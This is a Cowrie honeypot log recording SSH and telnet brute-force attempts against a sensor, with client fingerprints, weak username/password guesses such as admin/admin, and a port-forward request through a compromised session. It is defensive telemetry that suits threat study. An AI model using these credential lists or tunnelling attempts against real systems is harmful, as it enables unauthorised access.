{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:55.317223Z","src_ip":"159.203.92.129","session":"0e373ed899fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42784,"dst_ip":"159.203.135.109","dst_port":22,"session":"11dfc6e29b5f","protocol":"ssh","message":"New connection: 159.203.92.129:42784 (159.203.135.109:22) [session: 11dfc6e29b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:35:35.977179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:35:35.982007Z","src_ip":"159.203.92.129","session":"11dfc6e29b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:35:35.986718Z","src_ip":"159.203.92.129","session":"11dfc6e29b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin4","password":"123456","message":"login attempt [admin4/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:35:36.003301Z","src_ip":"159.203.92.129","session":"11dfc6e29b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:35:37.010952Z","src_ip":"159.203.92.129","session":"11dfc6e29b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":49042,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31d281cb8d2","protocol":"telnet","message":"New connection: 149.56.37.12:49042 (159.203.135.109:23) [session: c31d281cb8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:35:44.622197Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":50660,"dst_ip":"159.203.135.109","dst_port":23,"session":"4811afed2afc","protocol":"telnet","message":"New connection: 149.56.37.12:50660 (159.203.135.109:23) [session: 4811afed2afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:03.516978Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56000,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba86feecd011","protocol":"ssh","message":"New connection: 159.203.92.129:56000 (159.203.135.109:22) [session: ba86feecd011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:18.515571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:18.521362Z","src_ip":"159.203.92.129","session":"ba86feecd011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:18.530431Z","src_ip":"159.203.92.129","session":"ba86feecd011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin4","password":"admin4","message":"login attempt [admin4/admin4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:18.544062Z","src_ip":"159.203.92.129","session":"ba86feecd011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:19.561186Z","src_ip":"159.203.92.129","session":"ba86feecd011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.90787148475647,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:27.529935Z","src_ip":"149.56.37.12","session":"c31d281cb8d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":35292,"dst_ip":"159.203.135.109","dst_port":23,"session":"e19a4344728b","protocol":"telnet","message":"New connection: 149.56.37.12:35292 (159.203.135.109:23) [session: e19a4344728b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:28.047993Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":37144,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b6912d1543e","protocol":"telnet","message":"New connection: 149.56.37.12:37144 (159.203.135.109:23) [session: 2b6912d1543e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:29.074183Z"}
{"eventid":"cowrie.session.closed","duration":39.14786195755005,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:36:42.664650Z","src_ip":"149.56.37.12","session":"4811afed2afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54804,"dst_ip":"159.203.135.109","dst_port":22,"session":"e666da27b4c0","protocol":"ssh","message":"New connection: 159.203.92.129:54804 (159.203.135.109:22) [session: e666da27b4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:00.647578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:00.658279Z","src_ip":"159.203.92.129","session":"e666da27b4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:00.670709Z","src_ip":"159.203.92.129","session":"e666da27b4c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin5","password":"123456","message":"login attempt [admin5/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:00.690794Z","src_ip":"159.203.92.129","session":"e666da27b4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:01.704024Z","src_ip":"159.203.92.129","session":"e666da27b4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.81031346321106,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:08.858163Z","src_ip":"149.56.37.12","session":"e19a4344728b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.17517161369324,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:11.249237Z","src_ip":"149.56.37.12","session":"2b6912d1543e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9994,"dst_ip":"10.17.0.5","dst_port":22,"session":"45c25def1172","protocol":"ssh","message":"New connection: 87.251.64.176:9994 (10.17.0.5:22) [session: 45c25def1172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:11.600734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:11.606014Z","src_ip":"87.251.64.176","session":"45c25def1172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:11.708423Z","src_ip":"87.251.64.176","session":"45c25def1172","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:12.000868Z","src_ip":"87.251.64.176","session":"45c25def1172","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:12.101220Z","session":"45c25def1172","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:12.201175Z","src_ip":"87.251.64.176","session":"45c25def1172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:12.301609Z","src_ip":"87.251.64.176","session":"45c25def1172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60512,"dst_ip":"159.203.135.109","dst_port":22,"session":"7199501f5e84","protocol":"ssh","message":"New connection: 159.203.92.129:60512 (159.203.135.109:22) [session: 7199501f5e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:44.188637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:44.196720Z","src_ip":"159.203.92.129","session":"7199501f5e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:44.202026Z","src_ip":"159.203.92.129","session":"7199501f5e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin5","password":"admin5","message":"login attempt [admin5/admin5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:44.213248Z","src_ip":"159.203.92.129","session":"7199501f5e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:37:45.220895Z","src_ip":"159.203.92.129","session":"7199501f5e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48340,"dst_ip":"159.203.135.109","dst_port":22,"session":"36d71e388632","protocol":"ssh","message":"New connection: 159.203.92.129:48340 (159.203.135.109:22) [session: 36d71e388632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:38:29.469883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:38:29.474605Z","src_ip":"159.203.92.129","session":"36d71e388632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:38:29.479090Z","src_ip":"159.203.92.129","session":"36d71e388632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#qweASD123","message":"login attempt [admin/!@#qweASD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:38:29.489905Z","src_ip":"159.203.92.129","session":"36d71e388632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:38:30.496831Z","src_ip":"159.203.92.129","session":"36d71e388632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20176,"dst_ip":"10.17.0.5","dst_port":22,"session":"99f9acf8cfb9","protocol":"ssh","message":"New connection: 87.251.64.176:20176 (10.17.0.5:22) [session: 99f9acf8cfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:10.722912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:10.728447Z","src_ip":"87.251.64.176","session":"99f9acf8cfb9","protocol":"ssh"}
